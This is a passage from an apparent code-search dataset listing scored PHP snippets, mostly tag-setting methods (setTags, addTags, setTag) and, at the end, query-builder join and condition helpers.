PushwooshMock();\n\n // At the beginning no pushwoosh requests have been sent\n $this->assertCount(0, $pushwooshMock->getPushwooshRequests());\n\n // Test call\n $setTagsRequest = SetTagsRequest::create();\n $setTagsResponse = $pushwooshMock->setTags($setTagsRequest);\n\n $this->assertNotNull($setTagsResponse);\n $this->assertSame(200, $setTagsResponse->getStatusCode());\n $this->assertSame('OK', $setTagsResponse->getStatusMessage());\n $this->assertTrue($setTagsResponse->isOk());\n\n // One more requests has been send\n $this->assertCount(1, $pushwooshMock->getPushwooshRequests());\n $this->assertSame($setTagsRequest, $pushwooshMock->getPushwooshRequests()[0]);\n }", "title": "" }, { "docid": "94b4025d2f277e31a14d6b989377c417", "score": "0.57373846", "text": "public function defineTags($data = array()) {\n foreach ($data as $key => $value) {\n $this->tags[$key] = $value;\n }\n }", "title": "" }, { "docid": "6b885d493e60cd189446aad2a2edf20e", "score": "0.57317966", "text": "public function setTags(array $tags = null)\n {\n $this->_tags = array_filter(\n (array) $tags,\n array($this, '_sanitize')\n );\n\n return $this;\n }", "title": "" }, { "docid": "f6ff50fa1c73d92ae6564dc9dc3ce9fe", "score": "0.57299143", "text": "public function setTags($tags)\n {\n $this->tags = $tags;\n\n return $this;\n }", "title": "" }, { "docid": "f6ff50fa1c73d92ae6564dc9dc3ce9fe", "score": "0.57299143", "text": "public function setTags($tags)\n {\n $this->tags = $tags;\n\n return $this;\n }", "title": "" }, { "docid": "f6ff50fa1c73d92ae6564dc9dc3ce9fe", "score": "0.57299143", "text": "public function setTags($tags)\n {\n $this->tags = $tags;\n\n return $this;\n }", "title": "" }, { "docid": "8d7a4009e6e62f99ab452637652da031", "score": "0.5728495", "text": "protected function setTagName($tagName)\n\t{\n\t\t$this->tagName = TagName::normalize($tagName);\n\t}", "title": "" }, { "docid": "6086a0c7fb31ca275680541ae5de79fc", "score": "0.5655844", "text": "public function setTagsAvailable()\n\t{\n\t\t$tags = Tags::all(['id', 'tag_text', 'filter_text']);\n\t\tforeach ($tags as $tag) {\n\t\t\t$this->tagsAvailable[] = $tag->toArray();\n\t\t}\n\t}", "title": "" }, { "docid": "22804ee703b332f9f8f89ee9feb11460", "score": "0.56497693", "text": "public function set($tag, $value)\n\t{\n\t\t$this->getMetaData();\n\n\t\tarray_set($this->data, $tag, $value);\n\n\t\t$this->setMetaData();\n\t}", "title": "" }, { "docid": "fcacf733b396e54141e5d303e0523393", "score": "0.5617205", "text": "public function setTag(string $tag) : self\n {\n $this->initialized['tag'] = true;\n $this->tag = $tag;\n return $this;\n }", "title": "" }, { "docid": "0119b6249e036a845b9adfa06c09ca13", "score": "0.56044644", "text": "function set_tags($tags, $image_id)\n{\n set_tags_of( array($image_id=>$tags) );\n}", "title": "" }, { "docid": "1af9ce47a494a99a81703e492a49dc66", "score": "0.55563605", "text": "public function setTag($tag) {\n $this->tag = $tag;\n return $this;\n }", "title": "" }, { "docid": "7a81ea475302a081b15cd75f94dfb569", "score": "0.5553248", "text": "public function tags()\n {\n $this->arguments[] = '--tags';\n return $this;\n }", "title": "" }, { "docid": "145b508660adedac29faf9b8ec74e7b1", "score": "0.5547816", "text": "public function set_tag_ids($term_ids) {\n $this->getProduct()->set_tag_ids($term_ids);\n }", "title": "" }, { "docid": "b441a5440c748a872ce38dfac599a49e", "score": "0.550011", "text": "public function setTag(?string $value): void {\n $this->getBackingStore()->set('tag', $value);\n }", "title": "" }, { "docid": "51508f36bc875f0ae048ef0b9789964c", "score": "0.5488887", "text": "public function setTags($tags)\n {\n $this->tags()->detach();\n\n // Attach tags one by one\n foreach($tags as $tag) {\n $this->tags()->attach($tag, ['user_id' => $this->account->user_id]);\n }\n\n return true;\n }", "title": "" }, { "docid": "a86ec512c51e99700e5a73ecb512cf77", "score": "0.545658", "text": "public function tags(string ...$tags) : TagSet\n {\n return new TagSet($this->adapter, $tags);\n }", "title": "" }, { "docid": "dc6ebcfa482541bde21332bbab1384b1", "score": "0.5454378", "text": "public function tag(string $tag) {\n $this->tag = $tag;\n }", "title": "" }, { "docid": "dc6ebcfa482541bde21332bbab1384b1", "score": "0.5454378", "text": "public function tag(string $tag) {\n $this->tag = $tag;\n }", "title": "" }, { "docid": "3927ea5a88e1ff407e1e4e1917994e52", "score": "0.5449998", "text": "static function register($tags): void {\n self::$htmlTags= array_unique(array_merge(self::$htmlTags, self::parseTags($tags)));\n }", "title": "" }, { "docid": "1f8d18a4ee7843c7a93e6788d7740431", "score": "0.5443606", "text": "public function setTagTable($tag_table)\n\t{\n\t\t$this->tag_table = $tag_table;\n\t}", "title": "" }, { "docid": "4c9a450f5537f1b399bf55b35ac473a6", "score": "0.5421811", "text": "public function setTag($tag = null)\n {\n // validation for constraint: string\n if (!is_null($tag) && !is_string($tag)) {\n throw new \\InvalidArgumentException(sprintf('Invalid value, please provide a string, \"%s\" given', gettype($tag)), __LINE__);\n }\n if (is_null($tag) || (is_array($tag) && empty($tag))) {\n unset($this->Tag);\n } else {\n $this->Tag = $tag;\n }\n return $this;\n }", "title": "" }, { "docid": "09d0af59c4d08e7cdea9cba013248d67", "score": "0.542007", "text": "public function setTag($tag)\n\t{\n\t\t$this->tag = (string) $tag;\n\t\treturn $this;\n\t}", "title": "" }, { "docid": "c94968c5c0bffa31802ce43bd56c2cb5", "score": "0.5408874", "text": "public function tag(array|Tag|Collection|string $tags)\n {\n $tags = $this->formatTags($tags);\n $this->tags()->toggle($tags);\n }", "title": "" }, { "docid": "978e3d9638df94d886424c2a2752078b", "score": "0.53946954", "text": "public function addTags(): void\n {\n $tags = $this->getTags();\n $currentStructureUuid = $this->getCurrentStructureUuid();\n if ($currentStructureUuid && !\\in_array($currentStructureUuid, $tags)) {\n $tags[] = $currentStructureUuid;\n }\n\n if (\\count($tags) <= 0) {\n return;\n }\n\n $this->symfonyResponseTagger->addTags($tags);\n }", "title": "" }, { "docid": "ff12b91c2a864c37dfc6a4587aadeeab", "score": "0.53700584", "text": "public function SetMetaTags (array $metaTags) {\r\r\n\t\t$this->metaTags = $metaTags;\r\r\n\t}", "title": "" }, { "docid": "23ccfbcb5f417b46f30bde087cafb456", "score": "0.53618795", "text": "private function update_tags($tags) {\n\n\t\t\tforeach ($tags as $id => $key) {\n\n\t\t\t\tin_array($key->term_id, $this->tags) != 1 ? array_push($this->tags, $key->term_id) : '';\n\t\t\t}\n\t\t}", "title": "" }, { "docid": "3aac042e3552f6fb38da107e7a346b87", "score": "0.53422517", "text": "public function set_additional_meta_tags()\n\t{\n\t\t$tags = [];\n\n\t\tif (! empty($tags) && is_array($tags)) {\n\t\t\tforeach ($tags as $name => $content) {\n\t\t\t\tif (! empty($content)) {\n\t\t\t\t\t$this->add_tag(\n\t\t\t\t\t\t'meta',\n\t\t\t\t\t\t[\n\t\t\t\t\t\t\t'name' => $name,\n\t\t\t\t\t\t\t'content' => $content,\n\t\t\t\t\t\t]\n\t\t\t\t\t);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}", "title": "" }, { "docid": "40047ed94cc1bb5e7801f15ad5eb3a6c", "score": "0.5340191", "text": "public function tags()\n {\n // the passed URL path segments in the request.\n $tags = $this->request->getParam('pass');\n \n // Use the ArticlesTable to find tagged articles.\n $athletes = $this->Athletes->find('tagged', [\n 'tags' => $tags\n ]);\n \n // Pass variables into the view template context.\n $this->set([\n 'athletes' => $athletes,\n 'tags' => $tags\n ]);\n }", "title": "" }, { "docid": "a92e773dbfede06aa05330f83486b189", "score": "0.53254765", "text": "function _setWidget($tag) {\n if (strtolower($tag->getAttribute('type')) == 'radio') {\n $this->_addRadioButton($tag);\n } elseif (strtolower($tag->getAttribute('type')) == 'checkbox') {\n $this->_addCheckbox($tag);\n } else {\n $this->_widgets[$tag->getName()] = &$tag;\n }\n }", "title": "" }, { "docid": "4e0a67ebb595e9efbdceb80c0e7d9cf2", "score": "0.5319646", "text": "public function addTags(array $tags)\n {\n $this->tags = array_values(array_unique(array_merge($this->tags, $tags)));\n }", "title": "" }, { "docid": "1dc54028aa5dea6aeaf962a243a59993", "score": "0.5291895", "text": "function setTag($tag, $value) {\n\t\t\tif (in_array($tag, $this->tags)) {\n\t\t\t\t$this->data[$tag] = $value;\n\t\t\t\treturn(true);\n\t\t\t}\n\t\t\treturn(false);\n\t\t}", "title": "" }, { "docid": "fe2427c6ed10cdfd5327828ad0ccae4a", "score": "0.52836", "text": "public function tags($tags)\n {\n return $this->addMultipleOption('tags', $tags);\n }", "title": "" }, { "docid": "75f1ad147c3706c4478aa019e4742959", "score": "0.5270121", "text": "protected function setTag($tag = 'div', $attributes = []) {\n $this->variables['tag'] = $tag;\n\n if (!empty($attributes)) {\n $this->variables->setAttributes($attributes);\n }\n }", "title": "" }, { "docid": "a0612e8a26b5545f4c5c2b7f2b81d59b", "score": "0.5238929", "text": "public function setTagIds( $tagIds )\n {\n $this->tagIds = (array) $tagIds;\n return $this;\n }", "title": "" }, { "docid": "b308adce44a21b12adf6b9e0b7d81543", "score": "0.5227673", "text": "public function tags()\n {\n // the passed URL path segments in the request.\n $tags = $this->request->getParam('pass');\n\n // Use the ArticlesTable to find tagged articles.\n $articles = $this->Articles->find('tagged', [\n 'tags' => $tags\n ]);\n\n // Pass variables into the view template context.\n $this->set([\n 'articles' => $articles,\n 'tags' => $tags\n ]);\n }", "title": "" }, { "docid": "a9478e1fcdf333970e8c2fccac282ce5", "score": "0.52268815", "text": "public function tags();", "title": "" }, { "docid": "7e8ab029284fb2f841fab92a2b4fd90a", "score": "0.522083", "text": "public function setTag(string $tag): self\n {\n $this->_tag = $tag;\n return $this;\n }", "title": "" }, { "docid": "35cf9893cfc42ba6924870e6bfaf84f2", "score": "0.5214949", "text": "public function setContentTags($openTag, $closeTag, $escaped = false)\n\t{\n\t\t$property = ($escaped === true) ? 'escapedTags' : 'contentTags';\n\n\t\t$this->{$property} = array(preg_quote($openTag), preg_quote($closeTag));\n\t}", "title": "" }, { "docid": "fa0fa4f5a9718ae41c5fa459b1ab2765", "score": "0.5208863", "text": "public function addTags($tagNames);", "title": "" }, { "docid": "6b22da40fab3d1b60d8d8f41d7c45225", "score": "0.5207188", "text": "public function setTag($value)\n {\n return $this->set(self::TAG, $value);\n }", "title": "" }, { "docid": "711859c81cebf5b2d8038470b2ee1bf5", "score": "0.5204914", "text": "public function setKeyWithTags($key, $value, $tags);", "title": "" }, { "docid": "014c6933584e3c945e1fbc0a21fa1c21", "score": "0.51947755", "text": "public function setTermDefinitions() {\n $this->default_terms = $this->getDefaultTerms($this->configurations['default_term']);\n $this->removable_terms = $this->getRemovableTerms($this->configurations['remove_terms']);\n $this->replaceable_terms = $this->getTermReplacements($this->configurations['replace_terms']);\n }", "title": "" }, { "docid": "b2bcb1eecebf353af0aba8834e2bc7e4", "score": "0.5184375", "text": "public function tag (){\n\t\t$this->subclassResponsibility(\"tag\");\n\t\treturn $this;\n\t}", "title": "" }, { "docid": "2d2885572773ce3e98d8d2e84ddb74a8", "score": "0.5183041", "text": "public function setTagId($tag_id)\n\t{\n\t\t$this->tag_id = $tag_id;\n\t}", "title": "" }, { "docid": "e4272611e7fadac107a56b2cb787501d", "score": "0.51724905", "text": "public function initTags($overrideExisting = true)\n\t{\n\t\tif (null !== $this->collTags && !$overrideExisting) {\n\t\t\treturn;\n\t\t}\n\t\t$this->collTags = new PropelObjectCollection();\n\t\t$this->collTags->setModel('Tag');\n\t}", "title": "" }, { "docid": "b01f254f9ecae0199d64db33bea7ef71", "score": "0.516747", "text": "public function tag(array $implementationsArray, $tag) {\n\t\t$this->tags[$tag] = $implementationsArray;\n\t}", "title": "" }, { "docid": "71242ce387fa48d9c1b57e24885a22e2", "score": "0.5157339", "text": "public function clearTags(): void\n {\n // Since we don't type hint `tags` as a Doctrine collection, the `clear` method is not recognized,\n // however, we do know it's a doctrine collection.\n // If Doctrine would allow us to define our own custom collections, this wouldn't be a problem.\n // As that is not the case, unfortunately we have here a hidden dependency.\n is_array($this->tags)\n ? $this->tags = []\n : $this->tags->clear();\n }", "title": "" }, { "docid": "afa9d75d3d68a10010aaa0a00122f849", "score": "0.51425564", "text": "public static function setTagParameters(string $tagName, array $names): void\n {\n $tagName = ltrim($tagName, '@');\n if (empty($names))\n {\n unset(self::$tagParameters[$tagName]);\n }\n else\n {\n self::$tagParameters[$tagName] = $names;\n }\n }", "title": "" }, { "docid": "de29a2235ea7c6d0a47fe900c05e8846", "score": "0.51343364", "text": "public function tags($tags = null)\n {\n $this->cacheTags = $tags === false ? false : $tags;\n return $this;\n }", "title": "" }, { "docid": "e8fb7dc48af9e3b6260db542d277be4e", "score": "0.51203465", "text": "public function tags() {\n // the passed URL path segments in the request.\n $tags = $this->request->params['pass'];\n\n // Use the BookmarksTable to find tagged bookmarks.\n $articles = $this->Articles->find('tagged', [\n 'tags' => $tags,\n ]);\n\n // Pass variables into the view template context.\n $this->set([\n 'articles' => $articles,\n 'tags' => $tags,\n ]);\n }", "title": "" }, { "docid": "6121a778a0bf8f86afb59addf341332e", "score": "0.5120326", "text": "public function addTag(string $tag): void;", "title": "" }, { "docid": "49929305a06546c4fb49bb4480d27af2", "score": "0.51020133", "text": "public function setObject($tagType, $value)\n {\n if ($value === null) {\n throw new NullPointerException('cannot set a null object');\n }\n\n if (!array_key_exists($tagType, $this->tagMap)) {\n $this->definedTagList[$tagType] = new Tag($tagType, $this);\n }\n \n $this->tagMap[$tagType] = $value;\n }", "title": "" }, { "docid": "0ee17e1df4888dcd808e90193d39cd82", "score": "0.50958645", "text": "public function setTags($project, $zone, $instance, Forminator_Google_Service_Compute_Tags $postBody, $optParams = array())\n {\n $params = array('project' => $project, 'zone' => $zone, 'instance' => $instance, 'postBody' => $postBody);\n $params = array_merge($params, $optParams);\n return $this->call('setTags', array($params), \"Forminator_Google_Service_Compute_Operation\");\n }", "title": "" }, { "docid": "6db88a51b85142a69c6bddce5ca9523c", "score": "0.5093012", "text": "public function addTags() {\n\t\t$isertedTagsIds = [];\n\n\t\tif (!empty($this->tagsTitles)) {\n\t\t\tforeach ($this->tagsTitles as $tag) {\n\t\t\t\t$tagId = $this->getTagId($tag);\n\t\t\t\tif ($tagId == false) {\n\t\t\t\t\t$query = $this->db->prepare(\"INSERT INTO tags (title) VALUES (:title)\");\n\t\t\t\t\t$query->execute([\n\t\t\t\t\t\t':title' => $tag,\n\t\t\t\t\t]);\n\t\t\t\t\t$insertedTagsids[] = $this->db->lastInsertId();\n\t\t\t\t} else {\n\t\t\t\t\t$insertedTagsids[] = $tagId;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t$this->tagsIds = $insertedTagsids;\n\t}", "title": "" }, { "docid": "837c19ba303a63e2940b2518d6e91eac", "score": "0.5090506", "text": "public function tags()\n {\n // the passed URL path segments in the request.\n $tags = $this->request->params['pass'];\n\n // Use the BookmarksTable to find tagged bookmarks.\n $bookmarks = $this->Bookmarks->find('tagged', [\n 'tags' => $tags\n ]);\n\n // Pass variables into the view template context.\n $this->set([\n 'bookmarks' => $bookmarks,\n 'tags' => $tags\n ]);\n }", "title": "" }, { "docid": "02028ec4226219641a74c0a23eab1ba9", "score": "0.50888515", "text": "public function setTagLimit($tagName, $tagLimit)\n\t{\n\t\t$this->setTagOption($tagName, 'tagLimit', $tagLimit);\n\t}", "title": "" }, { "docid": "c7acd9f1fdd5b5d6b99b5d64c37315b7", "score": "0.50611204", "text": "public function setGitTags($tags, $stable = null){\n\t\t$currentTags = array();\n\t\tforeach ($this->getPluginTags() as $gitTag){\n\t\t\t$currentTags[] = $gitTag->getName();\n\t\t}\n\t\t$deleteTags = array_diff($currentTags, $tags);\n\t\tforeach ($deleteTags as $tag){\n\t\t\t$criteria = new Criteria();\n\t\t\t$criteria->add(PluginTagPeer::PLUGIN_ID, $this->getId());\n\t\t\t$criteria->add(PluginTagPeer::NAME, $tag);\n\n\t\t\tPluginTagPeer::doDelete($criteria);\n\t\t}\n\n\t\tforeach ($tags as $i => $tag){\n\t\t\tif (!trim($tag)) continue;\n\n\t\t\t$existent = $this->getGitTagByName($tag);\n\n\t\t\t# If it was marked as stable and it's not the currently stable one, unmark it.\n\t\t\tif ($existent && $existent->isCurrent() && $stable && $existent->getName(true) !== $stable){\n\t\t\t\t$existent->setCurrent(false);\n\t\t\t\t$existent->save();\n\t\t\t}\n\t\t\tif (!$existent){\n\t\t\t\t$t = new PluginTag();\n\t\t\t\t$t->setPluginId($this->getId());\n\t\t\t\t$t->setName($tag);\n\t\t\t\tif (($stable === null && ($i + 1 == sizeof($tags))) || (floatval($tag) == $stable)){\n\t\t\t\t\t$t->setCurrent(true);\n\t\t\t\t}\n\t\t\t\t$t->save();\n\n\t\t\t\tif ($t->isCurrent()){\n\t\t\t\t\t$this->stable_tag = $t;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}", "title": "" }, { "docid": "a0f372f4b232a8aa321075918d4ba1ee", "score": "0.50607604", "text": "public function setTag($tag)\n {\n $this->tag = $tag;\n\n return $this;\n }", "title": "" }, { "docid": "82f24e09853a3d219b6bba01655a32b3", "score": "0.50455356", "text": "public function set_tags_context(array $data)\n {\n $this->context['tags'] = array_merge($this->context['tags'], $data);\n }", "title": "" }, { "docid": "53c07b51038384dff4ee457bf90baebd", "score": "0.50341916", "text": "public function updateTagMetadata()\n {\n $tagArray = $this->getTags(false);\n $tagString = !empty($tagArray) ? implode(\", \", $tagArray) : \"\";\n $this->addMetadata(\"subject\", null, $tagString);\n \n // We need to clear the tag lists of all the parent artworks since they have just changed\n foreach ($this->getParentArtworks() as $artwork)\n {\n reaktorCache::delete(\"artwork_tag_list_\".$artwork->getId());\n }\n }", "title": "" }, { "docid": "c6d896f07b9074cce63e47f64c760fcd", "score": "0.5021067", "text": "public function registerMetaTags($tags)\n {\n foreach ($tags as $key => $options) {\n if (is_numeric($key)) {\n $this->registerMetaTag($options);\n } else {\n $this->registerMetaTag($options, $key);\n }\n }\n\n return $this;\n }", "title": "" }, { "docid": "6530c2a0a6898c494aeed83df4243e33", "score": "0.5018008", "text": "public function set($token, $server_id, $id, $name, $description, $tags, $category_id, $public, $usable, $setup) {\n $this->_login($token);\n return $this->_process('set', array(\n 'sid'=>$server_id,\n 'id'=>$id,\n 'name'=>$name,\n 'description'=>$description,\n 'tags'=>$tags,\n 'category_id'=>$category_id,\n 'public'=>$public,\n 'usable'=>$usable\n ));\n }", "title": "" }, { "docid": "be8c39e6e3e32ac3d708bb537e1bb1a4", "score": "0.5015309", "text": "function registerTags()\n {\n if (defined('GLOBAL_TAGS_REGISTERED')) {\n CTrace::inf('Bypass tags registering (use precompiled)');\n return;\n }\n\n $file = new CFile($this->appIni['PATH_TAGS_FILE']);\n $tags = $file->getLines();\n if(!is_array($tags)) return;\n\n foreach ($tags as $tag)\n {\n $this->registerTag($tag);\n }\n }", "title": "" }, { "docid": "74e16646a05c8edff376f8b37c5bfd7d", "score": "0.5010424", "text": "function setTag($name, $tag){\r\r\n if (!$this->testName($name))\r\r\n return FALSE;\r\r\n\r\r\n if (!$this->_elements[$name]->_setTag($tag))\r\r\n $this->error = $this->_elements[$name]->error;\r\r\n }", "title": "" }, { "docid": "97f7abad9972d2decb96d7a1f726b114", "score": "0.5010368", "text": "public function setTags($var)\n {\n GPBUtil::checkMessage($var, \\Google\\Cloud\\Compute\\V1\\Tags::class);\n $this->tags = $var;\n\n return $this;\n }", "title": "" }, { "docid": "1880cf4420823e000c963c1927e4e274", "score": "0.5004146", "text": "public function setAdditionalTags(?array $value): void {\n $this->getBackingStore()->set('additionalTags', $value);\n }", "title": "" }, { "docid": "a8559c18082cbb700ee94c80a018faab", "score": "0.499856", "text": "function tag($id) {\n\t\t$this->tags[] = intval($id);\n\t}", "title": "" }, { "docid": "86e98e093485c11304bc733b6b8a3cfc", "score": "0.4998236", "text": "public function setTags(string $locale = 'en-US', array $value = null)\n {\n return $this->setField('tags', $locale, $value);\n }", "title": "" } ]
496b3489b52eb0f6afd471f53c111a52
Return an array of the join conditions
[ { "docid": "ce62162d0090e00102531b46a6958d15", "score": "0.6000083", "text": "public function getConditions()\n\t{\n\t $conditions = array();\n\t for ($i=0; $i < $this->count; $i++) { \n\t $conditions[] = array(\n\t 'left' => $this->getLeftColumn($i), \n\t 'operator' => $this->getOperator($i),\n\t 'right' => $this->getRightColumn($i)\n\t );\n\t }\n\t return $conditions;\n\t}", "title": "" } ]
[ { "docid": "be3450a546b940c07a7fd22120cd26ce", "score": "0.6870639", "text": "protected function _getJoins(){ }", "title": "" }, { "docid": "6a36f54390e6d0b3be6dc6a760b05e22", "score": "0.68376106", "text": "protected function _joins()\n\t{\n\t\t$joins_sql = '';\n\n\t\tif(isset($this->_query['joins']))\n\t\t{\n\t\t\tforeach ($this->_query['joins'] as $join)\n\t\t\t{\n\t\t\t\t$join['cond'] = explode('=', $join['cond']);\n\n\t\t\t\tfor ($i = 0; $i <= 1; $i++)\n\t\t\t\t{\n\t\t\t\t\t$join['cond'][$i] = $this->prepare_identifier($join['cond'][$i]);\n\t\t\t\t}\n\n\t\t\t\t$join_cond = $join['cond'][0] . ' = ' . $join['cond'][1];\n\t\t\t\t$joins_sql .= strtoupper($join['type']) . ' JOIN ' . $this->prepare_identifier($join['table'])\n\t\t\t\t\t\t\t . ' ON ' . $join_cond;\n\t\t\t}\n\t\t}\n\n\t\treturn $joins_sql;\n\t}", "title": "" }, { "docid": "060cedae0f159de1efa408551359a038", "score": "0.68208313", "text": "public function getJoins();", "title": "" }, { "docid": "a0ca1faeca1b773af0dc5285630413b9", "score": "0.6811676", "text": "protected function getJoinData(): array\n {\n $joinData = [\n \"colList\" => \"\",\n \"statement\" => \"\"\n ];\n foreach ($this->joins as $join) {\n // build the join statement\n $joinData[\"statement\"] .= \"{$join[\"type\"]} {$join[\"table\"]}\";\n if ($join[\"type\"] !== \"CROSS JOIN\") {\n if (empty($join[\"cond\"])) {\n throw new \\SlaxWeb\\Database\\Exception\\NoJoinConditionException(\n \"A JOIN without a condition is not possible, unless it is a CROSS JOIN.\"\n );\n }\n $joinData[\"statement\"] .= \" ON (1=1\";\n foreach ($join[\"cond\"] as $cond) {\n $joinData[\"statement\"] .= \" {$cond[\"lOpr\"]} {$this->table}.{$this->delim[0]}\"\n . \"{$cond[\"primKey\"]}{$this->delim[1]} {$cond[\"cOpr\"]} {$join[\"table\"]}.\"\n . \"{$this->delim[0]}{$cond[\"forKey\"]}{$this->delim[1]}\";\n }\n $joinData[\"statement\"] .= \") \";\n }\n\n // add joined columns to select column list\n $joinData[\"colList\"] .= $this->buildColList($join[\"colList\"], $join[\"table\"]);\n }\n return $joinData;\n }", "title": "" }, { "docid": "9e2f0cca2966d64c943dc59f35865131", "score": "0.67466784", "text": "protected function build_join()\n {\n }", "title": "" }, { "docid": "92c099fe6cb75edbc80705e1466808a2", "score": "0.6723263", "text": "protected static function getJoins() {\n\t\treturn array();\n\t}", "title": "" }, { "docid": "c220866b25cf5119cebb158f1a1d66ff", "score": "0.6694169", "text": "public function getQueryJoins() {\n\t if (!$this->compileQuery()) {\n\t\t return false;\n\t }\n\t return $this->queryJoins;\n }", "title": "" }, { "docid": "f7710aacacf2b59e5d6d2004b265b6f8", "score": "0.66158384", "text": "private function mergeConditions(): array\n {\n $wheres = [];\n foreach($this->_conditions as $values){\n $wheres = array_merge($wheres, $values);\n unset($values);\n }\n\n // Merge orWhere\n $orWhere = [];\n foreach($this->_orWhere as $ors){\n foreach($ors as $field => $value){\n $orWhere[] = [\n $field => $value\n ];\n unset($values);\n }\n unset($ors);\n }\n\n if (count($orWhere) > 0) {\n $this->_orWhere['$or'] = [];\n $this->_orWhere['$or'] = $orWhere;\n }\n // end orWHere\n\n $wheres = array_merge($wheres, $this->_orWhere);\n return array_filter($wheres);\n }", "title": "" }, { "docid": "0aa57b90ce339ea3abb9d9dd1e13ea49", "score": "0.6549886", "text": "public function getJoins()\n {\n }", "title": "" }, { "docid": "329fd368e6b07db2cb8908bfff14965d", "score": "0.6534673", "text": "function _getJoins($model) {\n\t\t$join = array ();\n\t\t$joins = array_merge ( $model->getAssociated ( 'hasOne' ), $model->getAssociated ( 'belongsTo' ) );\n\t\t\n\t\tforeach ( $joins as $assoc ) {\n\t\t\tif (isset ( $model->{$assoc} ) && $model->useDbConfig == $model->{$assoc}->useDbConfig) {\n\t\t\t\t$assocData = $model->getAssociated ( $assoc );\n\t\t\t\t$join [] = $this->buildJoinStatement ( array (\n\t\t\t\t\t\t'table' => $model->{$assoc},\n\t\t\t\t\t\t'alias' => $assoc,\n\t\t\t\t\t\t'type' => isset ( $assocData ['type'] ) ? $assocData ['type'] : 'LEFT',\n\t\t\t\t\t\t'conditions' => trim ( $this->conditions ( $this->__mergeConditions ( $assocData ['conditions'], $this->getConstraint ( $assocData ['association'], $model, $model->{$assoc}, $assoc, $assocData ) ), true, false, $model ) ) \n\t\t\t\t) );\n\t\t\t}\n\t\t}\n\t\treturn $join;\n\t}", "title": "" }, { "docid": "3dac84fdbac9de9f255cd36b284332d3", "score": "0.63925076", "text": "protected function buildJoin($arguments)\n {\n $joins = [];\n\n foreach ($arguments as $join) {\n $structure = [];\n $dataJoin = explode('|', $join);\n\n if (!isset($dataJoin[ 0 ], $dataJoin[ 1 ])) {\n continue;\n }\n\n $structure[ 'reference' ] = $dataJoin[ 0 ];\n\n $condition = explode(',', trim($dataJoin[ 1 ]));\n\n if (isset($condition[ 0 ], $condition[ 1 ], $condition[ 2 ])) {\n $structure[ 'where' ] = [\n 'field' => $condition[ 0 ],\n 'condition' => $condition[ 1 ],\n 'value' => $condition[ 2 ],\n ];\n\n $joins[] = $structure;\n }\n }\n\n return $joins;\n }", "title": "" }, { "docid": "4a41e5d971562620a65c0c1ffca1bc1e", "score": "0.63617563", "text": "protected function _getJoin(){ }", "title": "" }, { "docid": "144d7daaeafa3b679733efff69930c0c", "score": "0.6330686", "text": "public function getConditions()\n {\n $conditions = '';\n\n if (count($this->conditions)) {\n foreach ($this->conditions as $column => $value) {\n if (is_array($value)) {\n $conditions .= ' AND '.$column.' IN ('.implode(', ', $value).')';\n } else {\n $conditions .= ' AND '.$column.' = '.$value;\n }\n }\n }\n\n return $conditions;\n }", "title": "" }, { "docid": "7d8ce431009a5b953b3b750e2ccba9cb", "score": "0.6259013", "text": "function commentsJoinFilter() {\r\n\r\n\t\treturn array();\r\n\t}", "title": "" }, { "docid": "36f47368bcf2df885d91a5692a4d03d8", "score": "0.624861", "text": "private function getJoinExpressions()\n\t{\n\t\tif (count($this->joins) === 0) {\n\t\t\treturn '';\n\t\t}\n\n\t\t$joinExpressions = '';\n\n\t\tforeach ($this->joins as $join) {\n\t\t\t$joinExpressions .= $join->getSql();\n\t\t}\n\n\t\treturn $joinExpressions;\n\t}", "title": "" }, { "docid": "6b3794092ae527db804e782aeef76cce", "score": "0.6240501", "text": "static public function sqlPrepareJoin($joinArray, $excludeTable)\r\n {\r\n $excludeTables = array($excludeTable);\r\n $result = Array();\r\n foreach($joinArray as $conditionsArray)\r\n {\r\n $resultTable = '';\r\n $on = '(';\r\n $type = '';\r\n foreach($conditionsArray as $tableArray)\r\n {\r\n if(is_string($tableArray))\r\n {\r\n if($tableArray == QueryParameter::TYPE)\r\n {\r\n array_shift($conditionsArray);\r\n $type = array_shift($conditionsArray);\r\n }\r\n }\r\n elseif(is_array($tableArray))\r\n {\r\n $tableArray = self::convert2DArrayToAssoc($tableArray);\r\n \r\n foreach($tableArray as $joinTable => $joinFields)\r\n {\r\n if($joinTable != QueryParameter::PARAM_CONSTANT)\r\n {\r\n if(!in_array($joinTable, $excludeTables))\r\n {\r\n $excludeTables[] = $joinTable;\r\n if(!array_key_exists($joinTable, $result))\r\n {\r\n \tif(is_array($tableName = reset($joinFields)))\r\n \t{\r\n \t\treset($joinFields);\r\n \t\t$first_key = key($joinFields);\r\n \t\t$resultTable .= '`'.$first_key.'` '.$joinTable.', ';\r\n \t}\r\n \telse\r\n \t{\r\n \t\t$resultTable .= '`'.$joinTable.'`, ';\r\n \t}\r\n }\r\n }\r\n }\r\n foreach($joinFields as $joinField)\r\n {\r\n if($joinTable == QueryParameter::PARAM_CONSTANT)\r\n {\r\n if(is_numeric($joinField))\r\n {\r\n $on .= $joinField .' = ';\r\n }\r\n elseif(is_string($joinField))\r\n {\r\n $on .= \"'\".$joinField.\"' = \";\r\n }\r\n }\r\n else\r\n {\r\n \tif(is_array($joinField))\r\n \t{\r\n \t\tforeach($joinField as $jf)\r\n \t\t{\r\n \t\t\t$on .= $joinTable.'.`'.$jf.'` = ';\r\n \t\t}\r\n \t}\r\n \telse\r\n \t{\r\n \t\t$on .= '`'.$joinTable.'`.`'.$joinField.'` = ';\r\n \t}\r\n }\r\n }\r\n }\r\n $on = trim($on, ' = ');\r\n $on .= ' AND ';\r\n }\r\n }\r\n $on = trim($on, ' AND ').') ';\r\n $resultTable = trim($resultTable, ', ');\r\n $result[$resultTable] = ' '.$type.' JOIN '.$resultTable.' ON '. $on;\r\n }\r\n return $result;\r\n }", "title": "" }, { "docid": "d5c8e507bfe4c1523cc58c0e9325eda2", "score": "0.62096673", "text": "public function getJoin();", "title": "" }, { "docid": "175e1b31110e3f2ecb601d607e84c05a", "score": "0.61871207", "text": "public function conditions() {\n\t\treturn array(\n\t\t\t'and' => array(\n\t\t\t\t$this->alias . '.active' => 1,\n\t\t\t\tarray('or' => array(\n\t\t\t\t\t$this->alias . '.start_date <= ' => date('Y-m-d H:i:s'),\n\t\t\t\t\t$this->alias . '.start_date' => '0000-00-00 00:00:00',\n\t\t\t\t)),\n\t\t\t\tarray('or' => array(\n\t\t\t\t\t$this->alias . '.end_date >= ' => date('Y-m-d H:i:s'),\n\t\t\t\t\t$this->alias . '.end_date' => '0000-00-00 